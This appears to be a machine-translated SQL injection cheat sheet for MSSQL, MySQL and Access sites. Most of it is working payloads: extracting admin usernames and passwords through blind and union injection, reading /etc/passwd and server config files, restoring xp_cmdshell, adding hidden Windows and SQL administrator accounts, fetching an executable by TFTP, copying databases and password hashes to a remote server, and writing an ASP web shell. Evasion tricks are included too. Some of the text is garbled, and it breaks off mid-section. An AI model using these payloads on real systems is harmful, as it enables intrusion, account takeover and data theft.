MSSQL cross-database queries (stinky food!) Dark)
Squeeze out every last drop of MS SQL
SQL statement references and recordset objects are explained in detail
About stored procedures in SQL Server
Create a webshell with mssql backup
SQL_Injection advanced applications
Cross-site SQL injection (laokai)
Weird SQL Injection (AMANL)
Advanced SQL injection in SQL Server applications
How to use SQL injection to traverse directories
Walkthrough of SQL Injection Techniques (Translator: demonalex)
Some attacks on SQL databases
SQL Injection Attack Technique (JSW)
SQL_Injection Advanced Applications (APACHY)
Uncommon Methods of SQL Injection (Guilin Veteran)
Backup a shell
Talk about php+mysql injection statement structure (Heyhehehehe·≯Super· Hei)
Advanced SQL Injection with MySQL(angel)
L'injection (My)SQL via PHP
Oracle SQL Language
SQL manual injection encyclopedia
Prerequisites require tools: SQL Query Analyzer and SqlExec Sunx Version
==============================================================================================
1. Determine whether there is an injection point
; and 1=1 and 1=2
2. Guess the name of the table is nothing more than admin admin user user pass password, etc.:
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) — Determine whether the admin table exists
3. Guess the number of accounts If you encounter 0< return to the correct page 1< return the error page to indicate that the number of accounts is 1
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4. Guess the field name Add the field name we think of in the len( ) brackets.
and 1=(select count(*) from admin where len(*)>0)–
and 1=(select count(*) from admin where len(user field name name)>0)
and 1=(select count(*) from admin where len(_blank>password field name)>0)
5. Guess the length of each field Guess the length is to transform >0 until the correct page is returned
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) error
and 1=(select count(*) from admin where len(name)>5) The correct length is 6
and 1=(select count(*) from admin where len(name)=6) is correct
and 1=(select count(*) from admin where len(password)>11) is correct
and 1=(select count(*) from admin where len(password)>12) error length is 12
and 1=(select count(*) from admin where len(password)=12) is correct
6. Guess the characters
and 1=(select count(*) from admin where left(name,1)=a) — Guess the first digit of the user's account
and 1=(select count(*) from admin where left(name,2)=ab)—Guess the second digit of the user's account
Just add one character at a time to guess, guess enough as many digits as you just guessed, and the account number will come out
(1) Guess the name of the table
Sentences used:
and exists (select * from table name)
For example:
and exists (select * from admin)
If the page echoes correctly, it means that the table name we guessed here is correct, and if the page is wrong, then it means that the table name we wrote here is wrong
, then change the name of the table and continue to guess until you guess.
Generally, commonly used table names include admin, manage, user, or put it in the tool run
(2) Guess the field
Sentences used:
and exists (select field name from table name)
For example:
and exists (select username from admin)
Here, assuming that the admin table is the table I guessed correctly above, then I want to determine whether the username field exists, I need to use this statement, if the page
If the face echo is correct, it means that the field name we guessed here is correct, and if the page is wrong, then it means that the field name we wrote here is wrong
, then change the field name and continue guessing until you guess.
Generally, common field names include username, password, user, pass, name, pass, pwd, usr, psd, and other fields
（3）order by
order by is to get the sum of the number of fields on that page, preparing for the next joint query
(4) Union Select
1. If you support joint query, find the display bit http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,5,6,7,8,9,10,11
Suppose the display bits are 5,6. Next, we only need to replace the field names corresponding to the administrator's username and password with the position of the display bit here
http://www.xxx.com/product_show.asp?id=1 and 1=2 union select
1,2,3,4,admin_name,admin_pwd,7,8,9,10,11 from admin found the background login
2. If joint query is not supported
The administrator's username and password cannot be obtained without joint query - using Ascii verbatim decoding
Two
Use order by to judge the number of bits in the table, and if it doesn't work, use union select to arrange them one by one, here we assume 8 bits
Three
Use a joint query to determine the display bits
Four
Use the display bit to find the database name, database version, 5.0 or above can be injected
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat(database
(),0x5c,user(),0x5c,
version()),8
Five
With the database name, you can start to get the table name schema = followed by the HEX value of the database name, and guess the table name
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+table_name),8
+from+information_schema.columns+where+
table_schema=0x666C6965725F6462617365
Six
The analyzed table name determines the HEX value of the administrator's table name=table name, and guesses the fields in the table
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+column_name),8+
from+information_schema.columns+where+table_name=0x7075625F7765626D6173746572
Seven
After getting the fields in the admin table, let's get the contents of the fields
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,GROUP_CONCAT(DISTINCT
+username,
0x5f,userpwd),8+from+pub_webmaster
Eight
Tool scans the background: Log in to upload the Trojan after finding it, and if you can't find the robots.txt file you can access
Nine
If you can't find the background, the password of the MYSQL administrator will be exposed
http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,concat
(user,password),8+from+mysql.user
Ten
Randomly access a path, and the feedback is the 404 default page of IIS6, indicating that the website server is: Windows+IIS6+php+MySql environment
c:\\windows\\system32\\inetsrv\\MetaBase.xml This path can get the website configuration information.
Construct statements http://www.xxx.com/news_detail.php?newsid=-1+union+select+1,2,3,4,5,6,load_file
(0x633A5C5C77696E646F77735C
5C73797374656D33325C5C696E65747372765C5C4D657461426173652E786D6C),8
Eleven
Analyze the code and find the background address
In the first step, we need to get the length of the fields in the table
Statements used:
and (select top 1 len(field name) from table name)>0
Like what:
and (select top 1 len(admin_name) from admin)>0
The page is displayed normally, the length of the field admin_name is greater than 0, and I will submit:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 len(admin_name) from admin)>10
The page displays an error stating that the field is between 0 and 10, and the length is 5 using the dichotomy
Using the same method to determine the length of the field for the administrator's password, I get a length of 16
Step 2
Now let's proceed to the second step, take a certain character in the field, and get the ASCII code of the character, which is used
Statement:
and (select top 1 asc(mid(field name, N,1)) from table name)>0
Let me look at this sentence separately, first, the innermost mid(username, 1,1) function, which is the first character of the admin_name field, N
indicates that the first few characters are to be intercepted,
Then the outer asc() function, which converts the characters intercepted by the mid function into ASCII code, the outermost top 1, represents the return field of the first place
A record, then,
The ">0" at the end is to compare the converted ASCII code with this number, and finally get the interception by constantly changing the last value
Get the specific of this character
ASCII code
Submission:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>30
The page is displayed normally, indicating that the ASCII code of this character is greater than 30.
Submission:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)>90
The page is displayed normally, indicating that the ASCII code of this character is greater than 90.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,1,1)) from
admin)=97
The ASCII code I ended up with for this character is 97
Compare the ASCII table:
It can be concluded that the first character is "a".
Then I will judge the ASCII code of the second character.
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_name,2,1)) from
admin)>90
The page is displayed normally, indicating that the ASCII code of the character is greater than 90, and the last value is always changed
The same method yielded the admin's password, and the result I got was:
http://www.xxx.com/display1_new.asp?id=108 and (select top 1 asc(mid(admin_pass,1,1)) from
admin)=52
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) –
This query statement can guess the Chinese user and _blank> password. Just replace the following numbers with the Chinese ASSIC code
Convert to characters.
group by users.id having 1=1–www.myhack58.com
group by users.id, users.username, users.password, users.privs having 1=1–
; insert into users values( 666, attacker, foobar, 0xffff )–
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. COLUMNS Where
TABLE_blank>_NAME=logintable-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. COLUMNS Where
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN (login_blank>_id)-
UNION Select TOP 1 COLUMN_blank>_NAME FROM INFORMATION_blank>_SCHEMA. COLUMNS Where
TABLE_blank>_NAME=logintable Where COLUMN_blank>_NAME NOT IN
(login_blank>_id,login_blank>_name)-
UNION Select TOP 1 login_blank>_name FROM logintable-
UNION Select TOP 1 password FROM logintable where login_blank>_name=Rahul–
Look at the patch played by the _blank> server = wrong SP4 patch black bar safety net
and 1=(select @@VERSION)–
Look at the permissions of the _blank> database connection account, and it returns normal, proving that it is the sysadmin permission of the _blank> server role.
and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin))–
Determine the database account _blank> connected. (Use SA account to connect and return normal = prove that the connected account is SA)
and sa=(Select System_blank>_user)–
and user_blank>_name()=dbo–
and 0<>(select user_blank>_name()–
See if xp_blank>_cmdshell deletes
and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = X AND name = xp_blank>_cmdshell)
–
xp_blank>_cmdshell is deleted, restored, and supports absolute path recovery
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,xplog70.dll–
; EXEC master.dbo.sp_blank>_addextendedproc xp_blank>_cmdshell,c:\inetpub\wwwroot\xplog70.dll–
============================== DB permission is exposed to the physical path code of the website
==========================================================================
1、drop table [jm_tmp]; create table [jm_tmp](value navrchar(4000) null,data nvarchar(4000)
null) -- Create table
2、 delete [jm_tmp]; insert [jm_tmp] exec master.dbo.xp_regread
’HKEY_LOCAL_MACHINE’,’SYSTEM\ControlSet001\Services\W3SVC\Parameters\Virtual Roots’,’/’--
Insert the site directory into the table field
3、and (select top 1 cast([data] as nvarchar(4000) char(124) from [jm_tmp] order by [data]
desc)=0 '//Exposed field
4. drop table [jm_tmp] -- delete this table.
for command to get the shell
/c for /r e:\ %i in ("<%eval request("cmd")%>") do @echo %i
>>d:\Other station paths
======================load_file() Commonly used sensitive information ===========================================
1、 replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
The above two are to view a PHP file that fully displays the code. There are times when some characters are not replaced, such as "<" instead of "space" that returns
Web page. And the code cannot be viewed.
3. load_file(char(47)) can list the root directory of FreeBSD and Sunos systems
4. View the linux APACHE virtual host configuration file in /etc/httpd/conf/httpd.conf or /usr/local/apche/conf/httpd.conf
5. C:\Program Files\Apache Group\Apache\conf\httpd.conf or C:\apache\conf\httpd.conf to view WINDOWS
system apache file
6. c:/Resin-3.0.14/conf/resin.conf View the resin file configuration information of the website developed by jsp.
7. c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf to view the JSP virtual host configured on the Linux system
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、.. /themes/darkblue_orange/layout.inc.php phpmyadmin explode path
11. C:\Windows\system32\inetsrv\MetaBase.xml View the virtual host configuration file of IIS
12. /usr/local/resin-3.0.22/conf/resin.conf to view the RESIN configuration file for 3.0.22
13. /usr/local/resin-pro-3.0.22/conf/resin.conf Same as above
14. /usr/local/app/apache2/conf/extratpd-vhosts.conf APASHE virtual host
15. /etc/sysconfig/iptables depends on the firewall policy
16. /usr/local/app/php5 b/php.ini PHP equivalent settings
17. /etc/my.cnf MYSQL configuration file
18. /etc/redhat-release system version of Red Hat
19 、C:\mysql\data\mysql\user. MYD exists in the user password in the MYSQL system
20. /etc/sysconfig/network-scrip{filter}ts/ifcfg-eth0 to view IP.
21. /usr/local/app/php5 b/php.ini //PHP related settings
22. /usr/local/app/apache2/conf/extratpd-vhosts.conf // virtual website settings
23、c:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25. /etc/issue displays the distribution information of the Linux kernel
26、/etc/ftpuser
27. Check the operation log file under LINUX user.bash_history or .bash_profile
28、/etc/ssh/ssh_config
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/error_log
/var/log/error.log
/var/log/access_log
/var/log/access.log
/etc/mail/access
/etc/my.cnf
/var/run/utmp
/var/log/wtmp
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/acces.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/httpd/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/access.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/www/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /usr/local/apache/logs/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/apache/error.log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/access_log
.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /var/log/error_log
/var/log/httpd/access_log
/var/log/httpd/error_log
.. /apache/logs/error.log
.. /apache/logs/access.log
.. /.. /apache/logs/error.log
.. /.. /apache/logs/access.log
.. /.. /.. /apache/logs/error.log
.. /.. /.. /apache/logs/access.log
/etc/httpd/logs/acces_log
/etc/httpd/logs/acces.log
/etc/httpd/logs/error_log
/etc/httpd/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
/var/www/logs/error_log
/var/www/logs/error.log
/usr/local/apache/logs/error_log
/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
/var/log/error_log
========================================================
Reverse PING experiment yourself
; use master; declare @s int; exec sp_blank>_oacreate "wscrip{filter}t.shell", @s out; exec
sp_blank>_oamethod @s,”run”,NULL,”cmd.exe /c ping 192.168.0.1″; –
Add an account
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C:\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add–
Create a virtual directory E-disk:
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\mkwebdir.vbs -w "default website" -v "e","e:\"–
Access attributes: (with writing to a webshell)
declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, cscrip{filter}t.exe c:\inetpub\wwwroot\chaccess.vbs -a w3svc/1/ROOT/e +browse
Special _blank> trick for bursting the library: :%5c=\ or modify %5 with / and \ to commit
and 0<>(select top 1 paths from newtable)–
Get the database name (from 1 to 5 are the IDs of the system, and you can judge them above 6)
and 1=(select name from master.dbo.sysdatabases where dbid=7)–
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
Submit dbid in turn = 7,8,9.... Get more _blank> database names
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) burst into a table assuming admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)).
Other tables.
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) The numerical value of the UID is assumed to be 18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) get a field of admin, false
Set to user_blank>_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,…)) to expose other fields
and 0<(select user_blank>_id from BBS.dbo.admin where username>1) to get the username
In turn, you can get _blank> password。。。。。 Suppose there are fields such as user_blank>_id username, password, etc
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) to get the table name
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id)))
Determine the id value
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) all fields
?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
?id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union,access is also easy to use)
Get the WEB path
; create table [dbo]. [swap] ([swappass][char](255)); –
and (select top 1 swappass from swap)=1–
; Create TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec
master.. xp_blank>_regread @rootkey=HKEY_blank>_LOCAL_blank>_MACHINE, @key=SYSTEM
\CurrentControlSet\Services\W3SVC\Parameters\Virtual Roots\, @value_blank>_name=/, values=@test
OUTPUT insert into paths(path) values(@test)–
; use ku1; –
; create table cmd (str image); – Create a table cmd of the image type
1. The way to remove the xp_cmdshell extension process is to use the following statement:
if exists (select * from dbo.sysobjects where id=object_id(N'[dbo].[ xpcmdshell]') and
OBJECTPROPERTY(id,N'IsExtendedProc')=1)
exec sp_dropextendedproc N'[dbo]. [xp_cmdshell]'
2. The way to add xp_cmdshell extension process is to use the following statement:
（1）SQL Query Analyzer
sp_addextendedproc xp_cmdshell,@dllname='xplog70.dll'
(2) First, fill in %s in the Format option of SqlExec Sunx Version and enter it in the CMD option
sp_addextendedproc 'xp_cmdshell','xpsql70.dll'
remove
sp_dropextendedproc 'xp_cmdshell'
（3）MSSQL2000
sp_addextendedproc 'xp_cmdshell','xplog70.dll'
There are xp_blank>_cmdshell testing processes:
; exec master.. xp_blank>_cmdshell dir
; exec master.dbo.sp_blank>_addlogin jiaoniang$; – Add SQL accounts
; exec master.dbo.sp_blank>_password null,jiaoniang$,1866574; –
; exec master.dbo.sp_blank>_addsrvrolemember jiaoniang$ sysadmin; –
; exec master.dbo.xp_blank>_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all
/passwordchg:yes /passwordreq:yes /active:yes /add;–
; exec master.dbo.xp_blank>_cmdshell net localgroup administrators jiaoniang$ /add; –
exec master.. xp_blank>_servicecontrol start, schedule to start _blank> service
exec master.. xp_blank>_servicecontrol start, server
; DECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C：\WINNT\system32\cmd.exe /c net user jiaoniang$ 1866574 /add
;D ECLARE @shell INT EXEC SP_blank>_OACreate wscrip{filtering}t.shell, @shell OUTPUT EXEC SP_blank>_OAMETHOD
@shell,run,null, C：\WINNT\system32\cmd.exe /c net localgroup administrators jiaoniang$ /add
; exec master.. xp_blank>_cmdshell tftp -i youip get file.exe – Upload files using TFTP
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
; declare @a; set @a=db_blank>_name(); backup database @a to disk=your IP Your shared directory bak.dat
If restricted, yes.
select * from openrowset(_blank>sqloledb,server; sa; ,select OK! exec
master.dbo.sp_blank>_addlogin hax)
Query Structure:
Select * FROM news Where id=… AND topic=… AND …..
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1)
and userpass <>
select 123; –
; use master; –
:a or name like fff%; – Shows a user named ffff.
and 1<>(select count(email) from [user]); –
; update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where
name=ffff; –
; update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where
name=ffff; –
; update [users] set email=(select top 1 name from sysobjects where xtype=u and id>581577110)
where name=ffff; –
; update [users] set email=(select top 1 count(id) from password) where name=ffff; –
; update [users] set email=(select top 1 pwd from password where id=2) where name=ffff; –
; update [users] set email=(select top 1 name from password where id=2) where name=ffff; –
The above statement is to get the first user table in the _blank> database and put the table name in the email field of the ffff user.
By viewing the user profile of ffff, you can get the first table called AD
Then get the ID of this table according to the table name ad to get the name of the second table
insert into users values( 666, char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73),
char(0×63)+char(0×68)+char(0×72)+char(0×69)+char(0×73), 0xffff)–
insert into users values( 667,123,123,0xffff)–
insert into users values ( 123, admin–, password, 0xffff)–
; and user>0
; and (select count(*) from sysobjects)>0
; and (select count(*) from mysysobjects)>0 // for the access_blank> database
Enumerate the name of the data table
; update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0); –
This is where the first table name is updated to the field of AAA.
Read the first table, and the second table can be read like this (add and name after the condition<> the name of the table you just got).
; update aaa set aaa=(select top 1 name from sysobjects where xtype=u and status>0 and
name<>vote); –
Then id=1552 and exists(select * from aaa where aaa>5)
Read out the second table and read it out one by one until there is none.
The read field looks like this:
; update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(table name),1)); –
Then id=152 and exists(select * from aaa where aaa>5) gets an error and get the field name
; update aaa set aaa=(select top 1 col_blank>_name(object_blank>_id(table name),2)); –
Then id=152 and exists(select * from aaa where aaa>5) gets an error and get the field name
[Get Data Table Name] [Update the field value to the table name, and then read out the value of this field to get the table name]
update table name set field=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>
The table name you get Find one plus one]) [ where condition] select top 1 name from sysobjects where xtype=u and
status>0 and name not in(table1,table2,…)
Creating a database administrator account and a system administrator account _blank> _blank> vulnerability injection through SQLSERVER [The current account must be the SYSADMIN group]
[Get Datatable Field Name] [Update the field value to the field name, and then read out the value of this field to get the field name]
update table name set field=(select top 1 col_blank>_name(object_blank>_id (data table name to query), field column
For example: 1) [ where condition]
Bypassing IDS Detection [Using Variables]
; declare @a sysname set @a=xp_blank>_+cmdshell exec @a dir c:\
; declare @a sysname set @a=xp+_blank>_cm’+’dshell exec @a dir c:\
1. Open the remote _blank> database
Basic syntax
select * from OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, select * from table1 )
Parameters: (1) OLEDB Provider name
2. The connection string parameter can be any port to connect, such as
select * from OPENROWSET(SQLOLEDB, uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,
select * from table
3. Copy the entire _blank> database of the target host and insert all remote tables to the local table.
Basic syntax:
insert into OPENROWSET(SQLOLEDB, server=servername; uid=sa; pwd=123, select * from table1) select
* from table2
This line statement copies all the data from the table2 table on the target host to the table1 table in the remote _blank> database. Appropriate repairs in practical application
Change the IP address and port of the connection string to point to where you need it, such as:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,select
* from table1) select * from table2
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,select
* from _blank>_sysdatabases)
select * from master.dbo.sysdatabases
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,select
* from _blank>_sysobjects)
select * from user_blank>_database.dbo.sysobjects
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,select
* from _blank>_syscolumns)
select * from user_blank>_database.dbo.syscolumns
Replicate _blank> database:
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,select
* from table1) select * from database.. table1
insert into OPENROWSET(SQLOLEDB,uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,select
* from table2) select * from database.. table2
The hash of the password that copies the hash table (HASH) login _blank> password is stored in sysxlogins. Here's how:
insert into OPENROWSET(SQLOLEDB,
uid=sa; pwd=123; Network=DBMSSOCN; Address=192.168.0.1,1433; ,select * from _blank>_sysxlogins)
select * from database.dbo.sysxlogins
Once you get the hash, you can brute force it.
To traverse the directory: First, create a temporary table: temp
; create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); –
; insert temp exec master.dbo.xp_blank>_availablemedia; – Get all current drives
; insert into temp(id) exec master.dbo.xp_blank>_subdirs c:\; – Get a list of subdirectories
; insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – Get the directory tree structure for all subdirectories,
Merge the inches into the temp table
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell type c:\web\index.asp; – View a file
Content
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell dir c:\ *.asp /s/a; –
; insert into temp(id) exec master.dbo.xp_blank>_cmdshell cscrip{filter}t C:\Inetpub\Adminscrip{filter}ts
\adsutil.vbs enum w3svc
; insert into temp(id,num1) exec master.dbo.xp_blank>_dirtree c:\; – (xp_blank>_dirtree Applicable Authority
PUBLIC）
Write to the table:
statement 1: and 1=(Select IS_blank>_SRVROLEMEMBER(sysadmin)); –
Statement 2: and 1=(Select IS_blank>_SRVROLEMEMBER(serveradmin)); –
Statement 3: and 1=(Select IS_blank>_SRVROLEMEMBER(setupadmin)); –
Statement 4: and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Statement 5: and 1=(Select IS_blank>_SRVROLEMEMBER(securityadmin)); –
Statement 6: and 1=(Select IS_blank>_SRVROLEMEMBER(diskadmin)); –
Statement 7: and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Statement 8: and 1=(Select IS_blank>_SRVROLEMEMBER(bulkadmin)); –
Statement 9: and 1=(Select IS_blank>_MEMBER(db_blank>_owner)); –
Write the path to the table:
; create table dirs(paths varchar(100), id int)–
; insert dirs exec master.dbo.xp_blank>_dirtree c:\–
and 0<>(select top 1 paths from dirs)–
and 0<>(select top 1 paths from dirs where paths not in(@Inetpub))–
; create table dirs1(paths varchar(100), id int)–
; insert dirs exec master.dbo.xp_blank>_dirtree e:\web–
and 0<>(select top 1 paths from dirs1)–
Back up _blank> database to a web directory: Download
; declare @a sysname; set @a=db_blank>_name(); backup database @a to disk=e:\web\down.bak; –
and 1=(Select top 1 name from(Select top 12 id,name from sysobjects where xtype=char(85)) T
order by id desc)
and 1=(Select Top 1 col_blank>_name(object_blank>_id(USER_blank>_LOGIN),1) from sysobjects) See also
Related tables.
and 1=(select user_blank>_id from USER_blank>_LOGIN)
and 0=(select user from USER_blank>_LOGIN where user>1)
-=- wscrip{filter}t.shell example -=-
declare @o int
exec sp_blank>_oacreate wscrip{filter}t.shell, @o out
exec sp_blank>_oamethod @o, run, NULL, notepad.exe
; declare @o int exec sp_blank>_oacreate wscrip{filter}t.shell, @o out exec sp_blank>_oamethod @o, run,
NULL, notepad.exe–
declare @o int, @f int, @t int, @ret int
declare @line varchar(8000)
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, opentextfile, @f out, c:\boot.ini, 1
exec @ret = sp_blank>_oamethod @f, readline, @line out
while( @ret = 0 )
begin
print @line
exec @ret = sp_blank>_oamethod @f, readline, @line out
end
declare @o int, @f int, @t int, @ret int
exec sp_blank>_oacreate scrip{filtering}ting.filesystemobject, @o out
exec sp_blank>_oamethod @o, createtextfile, @f out, c:\inetpub\wwwroot\foo.asp, 1
exec @ret = sp_blank>_oamethod @f, writeline, NULL,
<% set o = server.createobject("wscrip{filter}t.shell"): o.run( request.querystring("cmd") ) %>
declare @o int, @ret int
exec sp_blank>_oacreate speech.voicetext, @o out
exec sp_blank>_oamethod @o, register, NULL, foo, bar
exec sp_blank>_oasetproperty @o, speed, 150
exec sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to,us, 528
waitfor delay 00:00:05
; declare @o int, @ret int exec sp_blank>_oacreate speech.voicetext, @o out exec
sp_blank>_oamethod @o, register, NULL, foo, bar exec sp_blank>_oasetproperty @o, speed, 150 exec
sp_blank>_oamethod @o, speak, NULL, all your sequel servers are belong to us, 528 waitfor delay
00:00:05–
xp_blank>_dirtree the applicable PUBLIC permission
exec master.dbo.xp_blank>_dirtree c: The returned information has two fields: subdirectory, depth. Subdirectory fields
Character type, the depth field is the shaping field.
create table dirs(paths varchar(100), id int)
Table building, the table created here is related to the above xp_blank>_dirtree, with equal fields and the same type.
insert dirs exec master.dbo.xp_blank>_dirtree c: As long as we build a table and define the fields returned by the storage process equally
Execute! To achieve the effect of writing tables, step by step to achieve the information we want!
This error injection is mainly based on Mysql data type overflow
mysql > SELECT 18446744073709551610 * 2 ;
ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(18446744073709551610 * 2)'
mysql > SELECT - 1 * 9223372036854775808 ;
ERROR 1690 ( 22003 ): BIGINT UNSIGNED value is out of range in '(- (1) *
9223372036854775808)'
Query database version:
mysql> SELECT * 2 (if ((SELECT * from (SELECT (version ()) ) s), 18446744073709551610,
18446744073709551610));
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(2 * if (( Select ' 5.5 'from
Dual), 18446744073709551610.18446744073709551610))'
Get the field name:
